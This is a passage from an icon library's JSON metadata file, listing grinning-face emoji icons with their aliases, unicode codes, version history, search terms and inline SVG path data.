        "path": "M256 48a208 208 0 1 0 0 416 208 208 0 1 0 0-416zM512 256A256 256 0 1 1 0 256a256 256 0 1 1 512 0zM168 320c-13.3 0-24 10.7-24 24s10.7 24 24 24h8V320h-8zm40 48h32V320H208v48zm96 0V320H272v48h32zm32 0h8c13.3 0 24-10.7 24-24s-10.7-24-24-24h-8v48zM168 288H344c30.9 0 56 25.1 56 56s-25.1 56-56 56H168c-30.9 0-56-25.1-56-56s25.1-56 56-56zm-23.6-80a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm192-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-grin": {
    "aliases": {
      "names": ["grin"],
      "unicodes": {
        "composite": ["1f600"],
        "secondary": ["10f580"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["emoticon", "face", "grin", "grinning face", "laugh", "smile"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f580",
    "label": "Face Grin",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767582,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM388.1 312.8c12.3-3.8 24.3 6.9 19.3 18.7C382.4 390.6 324.2 432 256.3 432s-126.2-41.4-151.1-100.5c-5-11.8 7-22.5 19.3-18.7c39.7 12.2 84.5 19 131.8 19s92.1-6.8 131.8-19zM144.4 208a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm192-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM388.1 312.8c12.3-3.8 24.3 6.9 19.3 18.7C382.4 390.6 324.2 432 256.3 432s-126.2-41.4-151.1-100.5c-5-11.8 7-22.5 19.3-18.7c39.7 12.2 84.5 19 131.8 19s92.1-6.8 131.8-19zM144.4 208a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm192-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      },
      "regular": {
        "last_modified": 1684767582,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm349.5 52.4c18.7-4.4 35.9 12 25.5 28.1C350.4 374.6 306.3 400 255.9 400s-94.5-25.4-119.1-63.5c-10.4-16.1 6.8-32.5 25.5-28.1c28.9 6.8 60.5 10.5 93.6 10.5s64.7-3.7 93.6-10.5zM144.4 208a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm192-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm349.5 52.4c18.7-4.4 35.9 12 25.5 28.1C350.4 374.6 306.3 400 255.9 400s-94.5-25.4-119.1-63.5c-10.4-16.1 6.8-32.5 25.5-28.1c28.9 6.8 60.5 10.5 93.6 10.5s64.7-3.7 93.6-10.5zM144.4 208a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm192-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-grin-beam": {
    "aliases": {
      "names": ["grin-beam"],
      "unicodes": {
        "composite": ["1f604"],
        "secondary": ["10f582"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "emoticon",
        "eye",
        "face",
        "grinning face with smiling eyes",
        "laugh",
        "mouth",
        "open",
        "smile"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f582",
    "label": "Face Grin Beam",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM388.1 312.8c12.3-3.8 24.3 6.9 19.3 18.7C382.4 390.6 324.2 432 256.3 432s-126.2-41.4-151.1-100.5c-5-11.8 7-22.5 19.3-18.7c39.7 12.2 84.5 19 131.8 19s92.1-6.8 131.8-19zm-170.5-84l0 0 0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0zm160 0l0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0 0 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM388.1 312.8c12.3-3.8 24.3 6.9 19.3 18.7C382.4 390.6 324.2 432 256.3 432s-126.2-41.4-151.1-100.5c-5-11.8 7-22.5 19.3-18.7c39.7 12.2 84.5 19 131.8 19s92.1-6.8 131.8-19zm-170.5-84l0 0 0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0zm160 0l0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0 0 0z"
      },
      "regular": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm349.5 52.4c18.7-4.4 35.9 12 25.5 28.1C350.4 374.6 306.3 400 255.9 400s-94.5-25.4-119.1-63.5c-10.4-16.1 6.8-32.5 25.5-28.1c28.9 6.8 60.5 10.5 93.6 10.5s64.7-3.7 93.6-10.5zM217.6 228.8l0 0 0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0zm160 0l0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0 0 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm349.5 52.4c18.7-4.4 35.9 12 25.5 28.1C350.4 374.6 306.3 400 255.9 400s-94.5-25.4-119.1-63.5c-10.4-16.1 6.8-32.5 25.5-28.1c28.9 6.8 60.5 10.5 93.6 10.5s64.7-3.7 93.6-10.5zM217.6 228.8l0 0 0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0zm160 0l0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0 0 0z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-grin-beam-sweat": {
    "aliases": {
      "names": ["grin-beam-sweat"],
      "unicodes": {
        "composite": ["1f605"],
        "secondary": ["10f583"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "cold",
        "embarass",
        "emoticon",
        "face",
        "grinning face with sweat",
        "open",
        "smile",
        "sweat"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f583",
    "label": "Face Grin Beam Sweat",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767582,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M476.8 126.3c-4.1 1.1-8.4 1.7-12.8 1.7c-26.5 0-48-21-48-47c0-5 1.8-11.3 4.6-18.1c.3-.7 .6-1.4 .9-2.1c9-20.2 26.5-44.9 36-57.5c3.2-4.4 9.6-4.4 12.8 0C483.4 20.6 512 61 512 81c0 21.7-14.9 39.8-35.2 45.3zM256 0c51.4 0 99.3 15.2 139.4 41.2c-1.5 3.1-3 6.2-4.3 9.3c-3.4 8-7.1 19-7.1 30.5c0 44.3 36.6 79 80 79c9.6 0 18.8-1.7 27.4-4.8c13.3 30.9 20.6 65 20.6 100.8c0 141.4-114.6 256-256 256S0 397.4 0 256S114.6 0 256 0zM383.8 317.8C345.3 329.4 301.9 336 256 336s-89.3-6.6-127.8-18.2c-12.3-3.7-24.3 7-19.2 18.7c24.5 56.9 81.1 96.7 147 96.7s122.5-39.8 147-96.7c5.1-11.8-6.9-22.4-19.2-18.7zm-166.2-89l0 0 0 0c2.1 2.8 5.7 3.9 8.9 2.8s5.5-4.1 5.5-7.6c0-17.9-6.7-35.6-16.6-48.8c-9.8-13-23.9-23.2-39.4-23.2s-29.6 10.2-39.4 23.2C126.7 188.4 120 206.1 120 224c0 3.4 2.2 6.5 5.5 7.6s6.9 0 8.9-2.8l0 0 0 0 0 0 .2-.2c.2-.2 .4-.5 .7-.9c.6-.8 1.6-2 2.8-3.4c2.5-2.8 6-6.6 10.2-10.3c8.8-7.8 18.8-14 27.7-14s18.9 6.2 27.7 14c4.2 3.7 7.7 7.5 10.2 10.3c1.2 1.4 2.2 2.6 2.8 3.4c.3 .4 .6 .7 .7 .9l.2 .2 0 0 0 0zm160 0l0 0 0 0 0 0c2.1 2.8 5.7 3.9 8.9 2.8s5.5-4.1 5.5-7.6c0-17.9-6.7-35.6-16.6-48.8c-9.8-13-23.9-23.2-39.4-23.2s-29.6 10.2-39.4 23.2C286.7 188.4 280 206.1 280 224c0 3.4 2.2 6.5 5.5 7.6s6.9 0 8.9-2.8l0 0 0 0 0 0 .2-.2c.2-.2 .4-.5 .7-.9c.6-.8 1.6-2 2.8-3.4c2.5-2.8 6-6.6 10.2-10.3c8.8-7.8 18.8-14 27.7-14s18.9 6.2 27.7 14c4.2 3.7 7.7 7.5 10.2 10.3c1.2 1.4 2.2 2.6 2.8 3.4c.3 .4 .6 .7 .7 .9l.2 .2 0 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M476.8 126.3c-4.1 1.1-8.4 1.7-12.8 1.7c-26.5 0-48-21-48-47c0-5 1.8-11.3 4.6-18.1c.3-.7 .6-1.4 .9-2.1c9-20.2 26.5-44.9 36-57.5c3.2-4.4 9.6-4.4 12.8 0C483.4 20.6 512 61 512 81c0 21.7-14.9 39.8-35.2 45.3zM256 0c51.4 0 99.3 15.2 139.4 41.2c-1.5 3.1-3 6.2-4.3 9.3c-3.4 8-7.1 19-7.1 30.5c0 44.3 36.6 79 80 79c9.6 0 18.8-1.7 27.4-4.8c13.3 30.9 20.6 65 20.6 100.8c0 141.4-114.6 256-256 256S0 397.4 0 256S114.6 0 256 0zM383.8 317.8C345.3 329.4 301.9 336 256 336s-89.3-6.6-127.8-18.2c-12.3-3.7-24.3 7-19.2 18.7c24.5 56.9 81.1 96.7 147 96.7s122.5-39.8 147-96.7c5.1-11.8-6.9-22.4-19.2-18.7zm-166.2-89l0 0 0 0c2.1 2.8 5.7 3.9 8.9 2.8s5.5-4.1 5.5-7.6c0-17.9-6.7-35.6-16.6-48.8c-9.8-13-23.9-23.2-39.4-23.2s-29.6 10.2-39.4 23.2C126.7 188.4 120 206.1 120 224c0 3.4 2.2 6.5 5.5 7.6s6.9 0 8.9-2.8l0 0 0 0 0 0 .2-.2c.2-.2 .4-.5 .7-.9c.6-.8 1.6-2 2.8-3.4c2.5-2.8 6-6.6 10.2-10.3c8.8-7.8 18.8-14 27.7-14s18.9 6.2 27.7 14c4.2 3.7 7.7 7.5 10.2 10.3c1.2 1.4 2.2 2.6 2.8 3.4c.3 .4 .6 .7 .7 .9l.2 .2 0 0 0 0zm160 0l0 0 0 0 0 0c2.1 2.8 5.7 3.9 8.9 2.8s5.5-4.1 5.5-7.6c0-17.9-6.7-35.6-16.6-48.8c-9.8-13-23.9-23.2-39.4-23.2s-29.6 10.2-39.4 23.2C286.7 188.4 280 206.1 280 224c0 3.4 2.2 6.5 5.5 7.6s6.9 0 8.9-2.8l0 0 0 0 0 0 .2-.2c.2-.2 .4-.5 .7-.9c.6-.8 1.6-2 2.8-3.4c2.5-2.8 6-6.6 10.2-10.3c8.8-7.8 18.8-14 27.7-14s18.9 6.2 27.7 14c4.2 3.7 7.7 7.5 10.2 10.3c1.2 1.4 2.2 2.6 2.8 3.4c.3 .4 .6 .7 .7 .9l.2 .2 0 0z"
      },
      "regular": {
        "last_modified": 1684767582,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M476.8 126.3C497.1 120.8 512 102.7 512 81c0-20-28.6-60.4-41.6-77.7c-3.2-4.4-9.6-4.4-12.8 0c-9.5 12.6-27.1 37.2-36 57.5c-.3 .7-.6 1.4-.9 2.1C417.8 69.7 416 76 416 81c0 26 21.5 47 48 47c4.4 0 8.7-.6 12.8-1.7zM395.4 41.2C355.3 15.2 307.4 0 256 0C114.6 0 0 114.6 0 256S114.6 512 256 512s256-114.6 256-256c0-35.8-7.3-69.9-20.6-100.8c-8.6 3.1-17.8 4.8-27.4 4.8c-8.9 0-17.6-1.5-25.7-4.2C454.7 185.5 464 219.7 464 256c0 114.9-93.1 208-208 208S48 370.9 48 256S141.1 48 256 48c48.7 0 93.4 16.7 128.9 44.7c-.6-3.8-.9-7.7-.9-11.7c0-11.4 3.8-22.4 7.1-30.5c1.3-3.1 2.7-6.2 4.3-9.3zM375 336.5c10.4-16.1-6.8-32.5-25.5-28.1c-28.9 6.8-60.5 10.5-93.6 10.5s-64.7-3.7-93.6-10.5c-18.7-4.4-35.9 12-25.5 28.1c24.6 38.1 68.7 63.5 119.1 63.5s94.5-25.4 119.1-63.5zM217.6 228.8l0 0 0 0 0 0c2.1 2.8 5.7 3.9 8.9 2.8s5.5-4.1 5.5-7.6c0-17.9-6.7-35.6-16.6-48.8c-9.8-13-23.9-23.2-39.4-23.2s-29.6 10.2-39.4 23.2C126.7 188.4 120 206.1 120 224c0 3.4 2.2 6.5 5.5 7.6s6.9 0 8.9-2.8l0 0 0 0 0 0 .2-.2c.2-.2 .4-.5 .7-.9c.6-.8 1.6-2 2.8-3.4c2.5-2.8 6-6.6 10.2-10.3c8.8-7.8 18.8-14 27.7-14s18.9 6.2 27.7 14c4.2 3.7 7.7 7.5 10.2 10.3c1.2 1.4 2.2 2.6 2.8 3.4c.3 .4 .6 .7 .7 .9l.2 .2 0 0zm160 0l0 0 0 0c2.1 2.8 5.7 3.9 8.9 2.8s5.5-4.1 5.5-7.6c0-17.9-6.7-35.6-16.6-48.8c-9.8-13-23.9-23.2-39.4-23.2s-29.6 10.2-39.4 23.2C286.7 188.4 280 206.1 280 224c0 3.4 2.2 6.5 5.5 7.6s6.9 0 8.9-2.8l0 0 0 0 0 0 .2-.2c.2-.2 .4-.5 .7-.9c.6-.8 1.6-2 2.8-3.4c2.5-2.8 6-6.6 10.2-10.3c8.8-7.8 18.8-14 27.7-14s18.9 6.2 27.7 14c4.2 3.7 7.7 7.5 10.2 10.3c1.2 1.4 2.2 2.6 2.8 3.4c.3 .4 .6 .7 .7 .9l.2 .2 0 0 0 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M476.8 126.3C497.1 120.8 512 102.7 512 81c0-20-28.6-60.4-41.6-77.7c-3.2-4.4-9.6-4.4-12.8 0c-9.5 12.6-27.1 37.2-36 57.5c-.3 .7-.6 1.4-.9 2.1C417.8 69.7 416 76 416 81c0 26 21.5 47 48 47c4.4 0 8.7-.6 12.8-1.7zM395.4 41.2C355.3 15.2 307.4 0 256 0C114.6 0 0 114.6 0 256S114.6 512 256 512s256-114.6 256-256c0-35.8-7.3-69.9-20.6-100.8c-8.6 3.1-17.8 4.8-27.4 4.8c-8.9 0-17.6-1.5-25.7-4.2C454.7 185.5 464 219.7 464 256c0 114.9-93.1 208-208 208S48 370.9 48 256S141.1 48 256 48c48.7 0 93.4 16.7 128.9 44.7c-.6-3.8-.9-7.7-.9-11.7c0-11.4 3.8-22.4 7.1-30.5c1.3-3.1 2.7-6.2 4.3-9.3zM375 336.5c10.4-16.1-6.8-32.5-25.5-28.1c-28.9 6.8-60.5 10.5-93.6 10.5s-64.7-3.7-93.6-10.5c-18.7-4.4-35.9 12-25.5 28.1c24.6 38.1 68.7 63.5 119.1 63.5s94.5-25.4 119.1-63.5zM217.6 228.8l0 0 0 0 0 0c2.1 2.8 5.7 3.9 8.9 2.8s5.5-4.1 5.5-7.6c0-17.9-6.7-35.6-16.6-48.8c-9.8-13-23.9-23.2-39.4-23.2s-29.6 10.2-39.4 23.2C126.7 188.4 120 206.1 120 224c0 3.4 2.2 6.5 5.5 7.6s6.9 0 8.9-2.8l0 0 0 0 0 0 .2-.2c.2-.2 .4-.5 .7-.9c.6-.8 1.6-2 2.8-3.4c2.5-2.8 6-6.6 10.2-10.3c8.8-7.8 18.8-14 27.7-14s18.9 6.2 27.7 14c4.2 3.7 7.7 7.5 10.2 10.3c1.2 1.4 2.2 2.6 2.8 3.4c.3 .4 .6 .7 .7 .9l.2 .2 0 0zm160 0l0 0 0 0c2.1 2.8 5.7 3.9 8.9 2.8s5.5-4.1 5.5-7.6c0-17.9-6.7-35.6-16.6-48.8c-9.8-13-23.9-23.2-39.4-23.2s-29.6 10.2-39.4 23.2C286.7 188.4 280 206.1 280 224c0 3.4 2.2 6.5 5.5 7.6s6.9 0 8.9-2.8l0 0 0 0 0 0 .2-.2c.2-.2 .4-.5 .7-.9c.6-.8 1.6-2 2.8-3.4c2.5-2.8 6-6.6 10.2-10.3c8.8-7.8 18.8-14 27.7-14s18.9 6.2 27.7 14c4.2 3.7 7.7 7.5 10.2 10.3c1.2 1.4 2.2 2.6 2.8 3.4c.3 .4 .6 .7 .7 .9l.2 .2 0 0 0 0z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-grin-hearts": {
    "aliases": {
      "names": ["grin-hearts"],
      "unicodes": {
        "composite": ["1f60d"],
        "secondary": ["10f584"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "emoticon",
        "eye",
        "face",
        "love",
        "smile",
        "smiling face with heart-eyes"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f584",
    "label": "Face Grin Hearts",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767582,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM388.1 312.8c12.3-3.8 24.3 6.9 19.3 18.7C382.4 390.6 324.2 432 256.3 432s-126.2-41.4-151.1-100.5c-5-11.8 7-22.5 19.3-18.7c39.7 12.2 84.5 19 131.8 19s92.1-6.8 131.8-19zM199.3 129.1c17.8 4.8 28.4 23.1 23.6 40.8l-17.4 65c-2.3 8.5-11.1 13.6-19.6 11.3l-65.1-17.4c-17.8-4.8-28.4-23.1-23.6-40.8s23.1-28.4 40.8-23.6l16.1 4.3 4.3-16.1c4.8-17.8 23.1-28.4 40.8-23.6zm154.3 23.6l4.3 16.1 16.1-4.3c17.8-4.8 36.1 5.8 40.8 23.6s-5.8 36.1-23.6 40.8l-65.1 17.4c-8.5 2.3-17.3-2.8-19.6-11.3l-17.4-65c-4.8-17.8 5.8-36.1 23.6-40.8s36.1 5.8 40.9 23.6z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM388.1 312.8c12.3-3.8 24.3 6.9 19.3 18.7C382.4 390.6 324.2 432 256.3 432s-126.2-41.4-151.1-100.5c-5-11.8 7-22.5 19.3-18.7c39.7 12.2 84.5 19 131.8 19s92.1-6.8 131.8-19zM199.3 129.1c17.8 4.8 28.4 23.1 23.6 40.8l-17.4 65c-2.3 8.5-11.1 13.6-19.6 11.3l-65.1-17.4c-17.8-4.8-28.4-23.1-23.6-40.8s23.1-28.4 40.8-23.6l16.1 4.3 4.3-16.1c4.8-17.8 23.1-28.4 40.8-23.6zm154.3 23.6l4.3 16.1 16.1-4.3c17.8-4.8 36.1 5.8 40.8 23.6s-5.8 36.1-23.6 40.8l-65.1 17.4c-8.5 2.3-17.3-2.8-19.6-11.3l-17.4-65c-4.8-17.8 5.8-36.1 23.6-40.8s36.1 5.8 40.9 23.6z"
      },
      "regular": {
        "last_modified": 1684767582,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm349.5 52.4c18.7-4.4 35.9 12 25.5 28.1C350.4 374.6 306.3 400 255.9 400s-94.5-25.4-119.1-63.5c-10.4-16.1 6.8-32.5 25.5-28.1c28.9 6.8 60.5 10.5 93.6 10.5s64.7-3.7 93.6-10.5zM215.3 137.1c17.8 4.8 28.4 23.1 23.6 40.8l-17.4 65c-2.3 8.5-11.1 13.6-19.6 11.3l-65.1-17.4c-17.8-4.8-28.4-23.1-23.6-40.8s23.1-28.4 40.8-23.6l16.1 4.3 4.3-16.1c4.8-17.8 23.1-28.4 40.8-23.6zm122.3 23.6l4.3 16.1 16.1-4.3c17.8-4.8 36.1 5.8 40.8 23.6s-5.8 36.1-23.6 40.8l-65.1 17.4c-8.5 2.3-17.3-2.8-19.6-11.3l-17.4-65c-4.8-17.8 5.8-36.1 23.6-40.8s36.1 5.8 40.9 23.6z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm349.5 52.4c18.7-4.4 35.9 12 25.5 28.1C350.4 374.6 306.3 400 255.9 400s-94.5-25.4-119.1-63.5c-10.4-16.1 6.8-32.5 25.5-28.1c28.9 6.8 60.5 10.5 93.6 10.5s64.7-3.7 93.6-10.5zM215.3 137.1c17.8 4.8 28.4 23.1 23.6 40.8l-17.4 65c-2.3 8.5-11.1 13.6-19.6 11.3l-65.1-17.4c-17.8-4.8-28.4-23.1-23.6-40.8s23.1-28.4 40.8-23.6l16.1 4.3 4.3-16.1c4.8-17.8 23.1-28.4 40.8-23.6zm122.3 23.6l4.3 16.1 16.1-4.3c17.8-4.8 36.1 5.8 40.8 23.6s-5.8 36.1-23.6 40.8l-65.1 17.4c-8.5 2.3-17.3-2.8-19.6-11.3l-17.4-65c-4.8-17.8 5.8-36.1 23.6-40.8s36.1 5.8 40.9 23.6z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-grin-squint": {
    "aliases": {
      "names": ["grin-squint"],
      "unicodes": {
        "composite": ["1f606"],
        "secondary": ["10f585"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "emoticon",
        "face",
        "grinning squinting face",
        "laugh",
        "mouth",
        "satisfied",
        "smile"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f585",
    "label": "Face Grin Squint",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767582,
